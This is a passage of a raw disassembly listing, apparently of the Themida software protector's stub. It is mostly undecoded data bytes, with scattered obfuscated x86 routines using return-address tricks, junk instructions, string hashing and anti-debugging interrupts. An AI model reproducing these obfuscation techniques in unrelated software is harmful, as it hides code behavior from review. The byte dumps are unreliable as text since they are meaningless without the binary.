--------------------------------------------------------------------------- db 16h, 2 dup(50h) dd 0EE860h, 0FA190000h, 565E08B1h, 0DA368CFh, 61FA69F8h dd 61CB8A58h, 35FF645Fh, 0 dd 0C6DBD8Bh, 0FE80615h, 90000000h, 0F3A00965h, 929A9D24h dd 0B54F576Ch, 0B70FB62Dh, 89645ACFh, 25h, 9E900h, 7A1F0000h dd 0A8839088h, 83BD750Eh, 1509CDBDh, 840F0006h, 9Fh, 1949BA66h dd 16598D8Bh, 0BD830615h, 6152DB5h, 88850F01h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0B6ADC353h, 509BDA77h, 0BD802DB1h, 61802C7h dd 58850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0C78FC350h, 0E4403A6Ch dd 858D8952h, 89061508h, 150C7585h, 198E906h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0A7B85CC3h, 0B8CE4F2Ah, 334CB2D9h, 218D01DBh, 8B06150Ah dd 56C033FBh, 25198D09h, 405F0615h, 0B073F0Fh, 58F64h dd 83000000h, 0F5704C4h, 6A5FCFB7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0BCACC355h dd 0FFFB83CEh, 15840Fh, 8D8B0000h, 61518F5h, 10FE9h, 89575600h dd 1511D9B5h, 0E95F5906h, 72h, 9501FC60h, 615022Dh, 244C8B61h dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h dd 245C8BC3h, 0E8550Ch, 5D000000h, 31ACED81h, 838B0618h dd 0B8h, 328B858Dh, 83890618h, 0B8h, 0C3C0335Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 69C35545h, 0D1958B60h dd 9061503h, 1507499Dh, 858D6106h, 61831A2h, 9E8h, 0A0A11800h dd 0F8C3F95Bh, 8151DACFh, 54BB60F2h, 0F5A5A7Ch, 188h, 3350FC00h dd 1516D5BDh, 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5ACC5F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ACC5F proc near ; CODE XREF: Themida_:005ACC57p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5ACC5F endp ; --------------------------------------------------------------------------- db 0F9h dd 0D4749DC6h, 3860Fh, 0BF0F0000h, 258964C8h, 0 dd 4A27B966h, 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h dd 8685D465h, 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h dd 0A75564Dh, 14F585C7h, 10615h, 8F640000h, 5, 4C48300h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 92C35141h dd 909EB5F6h, 2DA19D89h, 0B70F0615h, 6AC08BF8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 764DC352h, 83FED928h, 1508F5BDh, 9750006h, 3ADBD83h dd 74000615h, 8B535019h, 43DB8C0h, 85890000h, 61502A1h dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h dd 43DB853h, 85890000h, 61502A1h, 0A7A69D8Dh, 0D3FF0617h dd 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0B71BD5C3h, 0C321BA91h, 0C08B228Ah, 147E9h dd 400h, 392E3100h, 3031h, 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 2FF1BD83h, 0F000615h dd 12D84h, 0BD858D00h, 500617A5h, 0A527858Dh, 68500617h dd 80000001h, 0A5CD95FFh, 858D0617h, 6183356h, 60858D50h dd 50061833h, 6A006Ah, 0A53B858Dh, 0FF500617h, 17A5BDB5h dd 9195FF06h, 8D061523h, 18335685h, 858D5006h, 6183364h dd 6A006A50h, 4D858D00h, 500617A5h, 0A5BDB5FFh, 95FF0617h dd 6152391h, 3356858Dh, 8D500618h, 18337085h, 6A5006h dd 858D006Ah, 617A59Ah, 0BDB5FF50h, 0FF0617A5h, 15239195h dd 56858D06h, 50061833h, 3378858Dh, 6A500618h, 8D006A00h dd 17A5B885h, 0B5FF5006h, 617A5BDh, 239195FFh, 858D0615h dd 6183356h, 74858D50h, 50061833h, 6A006Ah, 0A5A1858Dh dd 0FF500617h, 17A5BDB5h, 9195FF06h, 8D061523h, 18335685h dd 858D5006h, 6183368h, 6A006A50h, 0A9858D00h, 500617A5h dd 0A5BDB5FFh, 95FF0617h, 6152391h, 3356858Dh, 8D500618h dd 18336C85h, 6A5006h, 858D006Ah, 617A5B0h, 0BDB5FF50h dd 0FF0617A5h, 15239195h, 0BDB5FF06h, 0FF0617A5h, 15181995h dd 0A2E906h, 0BD830000h, 61518F9h, 95840F00h, 83000000h dd 152DB5BDh, 850F0006h, 11h, 0B8D958Bh, 0C2810615h, 1CF8h dd 0FE9h, 0E1958D00h, 8B061505h, 0C2813452h, 3BD4C340h dd 282D9589h, 0BD830615h, 615282Dh, 55840F00h, 8B000000h dd 15282D9Dh, 4CC38306h, 8589038Bh, 6183360h, 282D9D8Bh dd 0C3830615h, 89038B50h, 18336485h, 2D9D8B06h, 83061528h dd 38B54C3h, 33708589h, 9D8B0618h, 615282Dh, 8B58C383h dd 74858903h, 8B061833h, 15282D9Dh, 5CC38306h, 8589038Bh dd 6183368h, 2FF1BD83h, 0F000615h, 0D85h, 0F9BD8300h, 61518h dd 68840Fh, 0B5FF0000h, 6183378h, 336CB5FFh, 0B5FF0618h dd 6183368h, 3374B5FFh, 0B5FF0618h, 6183370h, 3364B5FFh dd 0B5FF0618h, 6183360h, 335A858Dh, 8D500618h, 18339285h dd 858D5006h, 6151E95h, 2995FF50h, 8306152Fh, 406A24C4h dd 337C858Dh, 8D500618h, 151E9585h, 6A5006h, 6D595FFh dd 16A0615h, 266995FFh, 0C18B0615h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6183726h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 5EB58BFFh, 81061837h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 62B53B00h, 0F061837h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 282D858Bh, 18860615h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0E195FF08h, 50061518h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 282D858Bh, 0C60615h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 615282Dh, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 6150AA5h, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_5AD297 ; --------------------------------------------------------------------------- mov dword ptr [ebp+6150AA5h], 100h loc_5AD297: ; CODE XREF: Themida_:005AD288j pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h dd 385C700h, 1061837h, 50000000h, 244C010Fh, 7858FFEh dd 8D061837h, 1836FF85h, 7BD8D06h, 89061837h, 23E938h dd 858D0000h, 61505E1h, 538408Bh, 9B46F317h, 36FF8589h dd 858D0618h, 61505E1h, 893C408Bh, 18370385h, 1C858D06h dd 89061837h, 1518E185h, 87E906h, 8B520000h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh db 8, 0 ; --------------------------------------------------------------------------- loc_5AD40E: ; DATA XREF: Themida_:0057B760o push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_5AD434 ; --------------------------------------------------------------------------- loc_5AD421: ; CODE XREF: Themida_:005AD436j lodsb cmp al, 2Dh jz loc_5AD434 add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_5AD434: ; CODE XREF: Themida_:005AD41Cj ; Themida_:005AD424j or ecx, ecx jnz loc_5AD421 mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- lea eax, [ebp+618398Fh] mov [ebp+6151101h], eax lea eax, [ebp+61839B7h] mov [ebp+61526CDh], eax lea eax, [ebp+61839DFh] mov [ebp+6151D31h], eax pusha push 0 push esi call sub_5AD475 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD475 proc near ; CODE XREF: Themida_:005AD46Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5AD475 endp ; --------------------------------------------------------------------------- db 4Ch, 83h, 4 dd 9DD0919Eh, 0EE852AEh, 20000000h, 0FA4476B1h, 0AE3E243Eh dd 316D3ADh, 0DCC28021h, 0AE85Eh, 0EA980000h, 817BCC00h dd 0AEF9BCADh, 68E0Fh, 8A0F0000h, 0 ; --------------------------------------------------------------------------- pop edx mov dh, 58h mov eax, eax sub edx, 43E43B32h cmp dword ptr [ebp+61508F5h], 0 jnz short loc_5AD4DD cmp dword ptr [ebp+61503ADh], 0 jz short loc_5AD4F6 loc_5AD4DD: ; CODE XREF: Themida_:005AD4D2j push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+6151385h], eax lea ebx, [ebp+617AA9Eh] call ebx ; _iob pop ebx pop eax loc_5AD4F6: ; CODE XREF: Themida_:005AD4DBj cmp dword ptr [ebp+61503ADh], 0 jz short loc_5AD516 push eax push ebx mov eax, 40Eh mov [ebp+6151385h], eax lea ebx, [ebp+617A78Dh] call ebx ; _iob pop ebx pop eax loc_5AD516: ; CODE XREF: Themida_:005AD4FDj mov dx, cx mov dx, 7923h jmp loc_5AD533 ; --------------------------------------------------------------------------- dec ebp adc al, 0FEh inc esp retn 8333h ; --------------------------------------------------------------------------- db 1Dh, 0DEh, 67h dd 0B03ABC98h db 0B0h, 16h, 12h ; --------------------------------------------------------------------------- loc_5AD533: ; CODE XREF: Themida_:005AD51Dj mov eax, eax push 0 push edx call sub_5AD540 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD540 proc near ; CODE XREF: Themida_:005AD538p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5AD540 endp ; --------------------------------------------------------------------------- dd 9E980ADh, 88000000h, 73B6C16Ah, 6763C9ACh, 9CDBD83h dd 0F000615h, 7684h, 0DE900h, 88640000h, 23EB6A2Ah, 2266B130h dd 0E9812ECBh, 2B1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 4C35343h, 0DA3F80CAh, 809C95D3h, 14E83BDDh dd 0F9000000h, 361803FFh, 32B29F65h, 16B9EF99h, 996E4B99h dd 0F0A56B3h, 68Fh, 8B0F00h, 5E000000h, 0EE9h, 196CFC00h dd 46D49AE7h, 933B053h, 8CB02BB6h, 51006ADFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 66F13C7Eh dd 1AC281h, 4C7F766h, 22850F00h, 0F000002h, 589h, 0D9EEB900h dd 0BD833E90h, 615295Dh, 1E850F00h, 50000000h, 9E9h, 3DEE6900h dd 48A2FC47h, 0B95A1EB0h, 6B10B38Ah, 1F0E9h, 7BBE6600h dd 8DFF2B68h, 183DBD9Dh, 198F0F06h, 0E9000000h, 14h, 0B75B66C8h dd 437B2651h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 0E8505A51h dd 0Bh, 4C80C1CCh, 45969FA9h, 5A5EDEE2h, 6A241C89h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 4F27C350h, 60000905h, 12E8h, 0C053D600h, 8CAFF509h dd 29A2D51h, 0E8CCBF04h, 0BB1B6D09h, 54537325h, 6860F5Fh dd 0F000000h, 85h, 0FF646100h, 35h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0E20D3D2Ch dd 0E92AA296h, 6, 0D1809CF2h, 8964526Bh, 25h, 0E9506000h dd 9, 50FC9DBEh, 5EC271AFh, 0FA8A5BE8h, 6AC48B61h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 99AEC351h, 0EB01CD73h, 5E900h, 23280000h, 570E609Fh dd 2840Fh, 61600000h, 58F6459h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5AD76B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD76B proc near ; CODE XREF: Themida_:005AD763p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5AD76B endp ; --------------------------------------------------------------------------- frstor byte ptr [eax-75h] fimul word ptr [edi] mov edi, 0C48361F9h add al, 60h mov ecx, 578BFD62h pusha jnb $+6 mov dh, 7Ch popa popa or eax, eax jz loc_5AD835 movzx ecx, dx popa sbb dx, 2590h lea edi, [ebp+615720Dh] mov cx, 4192h mov eax, 1 push 0 push edx call sub_5AD7C2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD7C2 proc near ; CODE XREF: Themida_:005AD7BAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5AD7C2 endp ; --------------------------------------------------------------------------- dw 7B37h dd 41C0DB02h, 81698DE3h, 9C8597D1h, 77D6813Eh, 0FF34EE4Ch dd 0F2B70FE7h, 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 0F57C3C0h dd 8Bh, 6A5900h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 6CBB1AC3h db 0CEh ; --------------------------------------------------------------------------- loc_5AD835: ; CODE XREF: Themida_:005AD799j popa and cx, 0CFD9h and dx, 0F212h mov eax, eax mov edx, 10A70FA5h cmp dword ptr [ebp+61508F5h], 0 jnz short loc_5AD859 cmp dword ptr [ebp+61503ADh], 0 jz short loc_5AD872 loc_5AD859: ; CODE XREF: Themida_:005AD84Ej push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+61502A1h], eax lea ebx, [ebp+617AB05h] call ebx ; _iob pop ebx pop eax loc_5AD872: ; CODE XREF: Themida_:005AD857j cmp dword ptr [ebp+61503ADh], 0 jz short loc_5AD892 push eax push ebx mov eax, 40Eh mov [ebp+61502A1h], eax lea ebx, [ebp+617A7A6h] call ebx ; _iob pop ebx pop eax loc_5AD892: ; CODE XREF: Themida_:005AD879j push 0 push ecx call sub_5AD89D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD89D proc near ; CODE XREF: Themida_:005AD895p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5AD89D endp ; --------------------------------------------------------------------------- db 0AEh, 22h, 83h dd 43C16182h, 8B72B613h, 0AE9C0h, 0B8850000h, 874B80D6h dd 4E937DF3h, 0DE8C28Bh, 5F000000h, 0B9068386h, 62A959EFh dd 9C76994Bh, 7E8h, 9444F800h, 0DBA62361h, 5AFB8B66h, 0BE66535Bh dd 815FC7AEh, 5EF7C3h, 0E2816600h, 6853C0h, 0E8000000h dd 0Ch, 3AC00ECDh, 5044F47Ch, 992BC527h, 13E9h, 4C933B00h dd 0AEBEB752h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h, 5260595Eh dd 8CF6BB66h, 7E959h, 0E66D0000h, 0F2256A44h, 48B61B8h dd 0B7E2810Bh, 812D444Bh, 0D74689F0h, 1E88167h, 8B16B435h dd 61E881F9h, 666F9CFDh, 55B9F681h, 8F1CB250h, 60F90B04h dd 0C9B70F50h, 0FE95Eh, 57A0000h, 8CDD9FB6h, 0ED17021Fh dd 65D3AA5Ah, 0E98361AAh, 81494902h, 814F6ACAh, 0F4F9810Ah dd 0FFFFFA1h, 0E85h, 1CE900h, 1E540000h, 0C15B4853h, 600B0FB5h dd 61CB8B66h, 0FFFF8DE9h, 8AB97BFFh, 4634100Ch, 8EB95B3h dd 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5ADA48 ; --------------------------------------------------------------------------- db 60h, 52h, 0Fh ; --------------------------------------------------------------------------- add [esp-2], ecx pop edx add edx, 24h loc_5AD9D8: ; CODE XREF: Themida_:005ADA0Fj mov eax, [ebp+6152DB5h] lea eax, [ebp+6188E90h] mov ecx, [eax] mov ecx, [eax+1000h] mov ecx, [edx] mov cx, [edx-4] mov [ebp+6183F95h], ecx cmp dword ptr [ebp+615295Dh], 0 jz loc_5ADA14 pusha push 0 call dword ptr [ebp+6152E21h] popa jmp loc_5AD9D8 ; --------------------------------------------------------------------------- loc_5ADA14: ; CODE XREF: Themida_:005AD9FFj mov [edx-4], si ror esi, 10h mov [edx+2], si push edx int 4 ; - internal hardware - OVERFLOW ; Generated by INTO instruction if OF flag is set. If flag is not set, INTO ; is effectively a NOP. pop edx mov [ebp+6183F91h], eax mov esi, [ebp+6183F95h] ror esi, 10h mov [edx+2], si mov esi, [ebp+6183F95h] mov [edx-4], si popa mov eax, [ebp+6183F91h] retn ; --------------------------------------------------------------------------- loc_5ADA48: ; CODE XREF: Themida_:005AD9C8j lea edx, [ebp+6150E41h] mov [ebp+615282Dh], edx mov [ebp+6152849h], edx inc dword ptr [ebp+6152849h] mov byte ptr [ebp+61509C5h], 53h push 0FCB148D8h push dword ptr [ebp+6151685h] lea eax, [ebp+6153B38h] call eax mov [ebp+6152E21h], eax lea eax, [ebp+6183736h] mov [ebp+615248Dh], eax jmp short loc_5ADAAE ; --------------------------------------------------------------------------- align 10h dd 7 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5ADAAE: ; CODE XREF: Themida_:005ADA8Cj jmp loc_5AE01E ; --------------------------------------------------------------------------- jmp loc_5AE017 ; --------------------------------------------------------------------------- push 61841E0h jmp loc_581882 ; --------------------------------------------------------------------------- push 6184295h jmp loc_581882 ; --------------------------------------------------------------------------- push 6184473h jmp loc_581882 ; --------------------------------------------------------------------------- push 61844F4h jmp loc_581882 ; --------------------------------------------------------------------------- dd 0CE959D5h, 53229217h, 24F161DCh, 5C39A90Fh, 22F363C7h dd 278B0685h, 0EE51DEB7h, 2C88977Eh, 0E94AD9BCh, 232B9C79h dd 9EB279A0h, 0B9830416h, 5D59C924h, 0B3D66D6Fh, 3A1086F2h dd 0FB228169h, 849086F2h, 9515A5B2h, 4234A398h, 8BBEF1A8h dd 17A81E1Eh, 1FA6h, 624F8200h, 494670E0h, 0F2DA02A1h dd 0E1951086h, 6816ADB1h, 0F1169F32h, 1C6F5520h, 4B000000h dd 86F297B6h, 80B05010h, 325907BEh, 99BE169Fh, 57CFAE5Ch dd 1C7C6EBBh, 24BE6A0Bh, 0A4C61C9h, 46327F6Fh, 84C62D69h dd 0D890860Dh, 0C2AFE757h, 30C7CF3Fh, 1A8D5689h, 2687406Fh dd 2CD7DFB6h, 3A63E2FCh, 0B99087FDh, 36B5AEE8h, 312B2FC6h dd 87FD4F92h, 6D1D2E90h, 7B437343h, 9D1050C8h, 0A81B1D96h dd 9690CF61h, 22143B0Ch, 90CF7AA3h, 218C0396h, 11380BD1h dd 0DC9690CFh, 9741FCBh, 8F1DBE5Bh, 65h, 0DB0BABABh, 31FF4003h dd 917E169Fh, 0F8D5C131h, 0DCD507D7h, 0C9C6F060h, 10FA6ACAh dd 6530A023h, 20FD6DCEh, 0B7D44934h, 54258DA7h, 4000003h dd 0C45B3AAAh, 1320F565h, 7CB342B2h, 3AE98CFCh, 0EEAD48B8h dd 108002BDh, 0D949AE85h, 1585E73Ch, 0E050B380h, 299CC215h dd 169EB3E0h, 0B5320A8Bh, 31Fh, 59C924D1h, 0BE855785h dd 1086F29Bh, 0ADF45162h, 501086F2h, 0BDE45F7Fh, 401086F2h dd 32917B6Fh, 1086F2EBh, 86F2CE8Fh, 0F26CB210h, 86AB1086h dd 0E7D6B424h, 1086F2A6h, 86F2034Ah, 0F2A6E710h, 7F3FD086h dd 0D66D6F4Fh, 0D086F2B3h, 0BB81693Ah, 0C03090A1h, 0B211F9D6h dd 0D69EE65Eh, 62C8CEDFh, 0F5506E9Eh, 0D08BF7B1h, 49FCE2h dd 0EBDCABF7h, 0BF9030DAh, 0BF83F0DEh, 7D05EFF1h, 29Fh dd 28CD3DB9h, 6F0676FBh, 40D545C0h, 781D8DF3h, 3ED747ABh dd 0B6F2269h, 0C225FA9Bh, 106CC352h, 0DD5ED5A0h, 0F3F886Dh dd 9EB06DB4h, 0AD8F1016h, 3C6D864Fh, 5C0844Ch, 0D0234A4h dd 68CB4822h, 724A600h, 9CB3C2FCh, 708F95C2h, 1A63832Eh dd 43279719h, 6F9F5FC9h, 6EDE624Fh, 610BBA7Ch, 169F08h dd 5CD9462Fh, 2D0272D0h, 0EA5ADB48h, 4A7A3EACh, 4927D174h dd 0C5D61087h, 4E489530h, 93C91CB6h, 0B64EE930h, 0CC8B941Ch dd 13015BF0h, 0B5DB8FA0h, 360DD101h, 1AAF1EB0h, 7EEE4C39h dd 0F44F8D51h, 2CE9EADh, 92B78E50h, 5902CE9Eh, 0B1836748h dd 2930380h, 64D45B58h, 7CAD5D32h, 2C878FFFh, 2CE9E91h dd 0A4BAEA8Eh, 0F821A4BAh, 8302CE9Eh, 920281B2h, 5E1BCDF8h dd 0C9DA04D7h, 4EEE7F5h, 0F52DA536h, 92F122C8h, 5FDC5322h dd 714CA7EFh, 0EE08E620h, 81441A4Ah, 0EFFE0F7h, 88A9B586h dd 45DABB2Bh, 5E4076E6h, 2F67D755h, 7009795Eh, 4822ADA4h dd 1848F8A2h, 7F461846h, 0EFFA95Ah, 774E1021h, 0EFFA952h dd 43620819h, 8E66985h, 89534354h, 55EA544Ch, 5B3462D2h dd 26DB7F7Ch, 15345944h, 0C72A3417h, 0F0525F57h, 6AF9680h dd 0ACF14D7h, 4D97746Eh, 0E1F6C862h, 0C3BAE533h, 118862FEh dd 193EAB9Eh, 0CC6BC3Ah, 0E2000000h, 870F97B6h, 175A10h dd 4F2E0000h, 4DFB6C86h, 0A3857F66h, 5CDDFAFCh, 0F8A34760h dd 108721D5h, 0DB0BAB14h, 58D8D903h, 39D1AEE8h, 9F32E08Ah dd 86B08116h, 7DF844F4h, 0FF34090Dh, 1B230C7Ch, 0A5069216h dd 0EE701A35h, 83BBAB57h, 370ED010h, 1CABBB12h, 7E22C8D9h dd 77BF2F91h, 0DCD4A986h, 7B1BF3Fh, 0C185EDh, 17970000h dd 0E061CEA7h, 2F8EA570h, 0E749D6BFh, 31919E77h, 347734C1h dd 0EC89F979h, 0B540B037h, 0E78EFE7Eh, 0AA4BBB38h, 4B8E3519h dd 32169EB6h, 0BAB8BB1h, 0CEC838BFh, 0B300DEF1h, 0E4D9DD4Dh dd 0EB953006h, 28169F32h, 892A3A2Fh, 0D4B6DE2Fh, 55E3D3E4h dd 6F6D71A1h, 11B3D66Dh, 693A169Eh, 1C362281h, 7E471083h dd 0E362CB4Ah, 1CAB06BEh, 0BB4B6C3Dh, 98654AE0h, 0B1BF7B9Ah dd 40CB274Dh, 18000000h, 0D8472E9Eh, 170CE959h, 0E04F2696h dd 0E25F060h, 42593CACh, 64D45649h, 0AD1DA291h, 69D95BC8h dd 0A414978Ch, 6DD806D1h, 169EB624h, 0B5F646C7h, 0Bh, 0E1624FD1h dd 53C34271h, 247585B7h, 475C5ACAh, 314274E4h, 3E3363D3h dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h dd 783C7AEAh, 555E68h, 24148900h, 5E08950h, 4, 42Dh, 24048700h dd 243C895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], ecx mov ecx, 575B0D98h sub ecx, 5142CCE7h mov edi, ecx pop ecx push 6DA3h mov [esp], esp add dword ptr [esp], 4 pop edx push 79D8h mov [esp], ebx mov ebx, 8 add ebx, edx mov [ebx], edi pop ebx push dword ptr [esp] pop edx add esp, 4 mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- db 8 dd 1ED1BD76h db 86h, 1Ch, 0A5h ; --------------------------------------------------------------------------- loc_5AE017: ; CODE XREF: Themida_:005ADAB3j mov eax, 6184559h add eax, ebp loc_5AE01E: ; CODE XREF: Themida_:loc_5ADAAEj mov ecx, eax jmp loc_5AE076 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_5AE040: ; CODE XREF: Themida_:005AE06Bj cmp ecx, 0 jz loc_5AE05F cmp edi, [edx+0Ch] jg loc_5AE067 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_5AE05F: ; CODE XREF: Themida_:005AE043j ; Themida_:005AE071j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5AE067: ; CODE XREF: Themida_:005AE04Cj add edx, 28h dec ecx jnz loc_5AE040 jmp loc_5AE05F ; --------------------------------------------------------------------------- loc_5AE076: ; CODE XREF: Themida_:005AE020j mov edx, 9FD3Eh jmp short $+2 jmp loc_5AE6BD ; --------------------------------------------------------------------------- jmp loc_5AE6B6 ; --------------------------------------------------------------------------- push 6184727h jmp loc_581882 ; --------------------------------------------------------------------------- push 6184896h jmp loc_581882 ; --------------------------------------------------------------------------- push 6184914h jmp loc_581882 ; --------------------------------------------------------------------------- push 61849E5h jmp loc_581882 ; --------------------------------------------------------------------------- push 6184AF7h jmp loc_581882 ; --------------------------------------------------------------------------- db 0AEh, 50h, 0E0h dd 2B9B1E15h, 0E858D54Ah, 2292160Dh, 0EE5EDC53h, 0A81B9007h dd 0E43BDA4Ah, 0AD821383h, 0E936DF4Fh, 487B1A8Ah, 0B49ABF86h dd 0A061169Eh, 0F297B69Ch, 365B1086h, 0BA1086F2h, 1086F294h dd 86F2335Ah, 0F297B710h, 325B1086h, 0AB9086F2h, 4003DB0Bh dd 969C1D54h, 0B7BFC29h, 411D320Bh, 0B89C3A1Bh, 987C0D0Dh dd 53C341F2h, 9F0F6DC2h, 3D6D1197h, 111A3B21h, 86F674D5h dd 353B9EB1h, 0C63E6655h, 0D2BF9089h, 0E3340373h, 0D4C44243h dd 74AB725Dh, 0E731C19Ch, 4B765CDh, 0EB4B0000h, 24859A7Bh dd 0F352E1B4h, 0BB3DF283h, 0F575AA4Bh, 0F0BBF085h, 28CD3DBDh dd 710474FBh, 43D242C2h, 761F8FECh, 9FC2814Dh, 5E169EB5h dd 0C7249F9Dh, 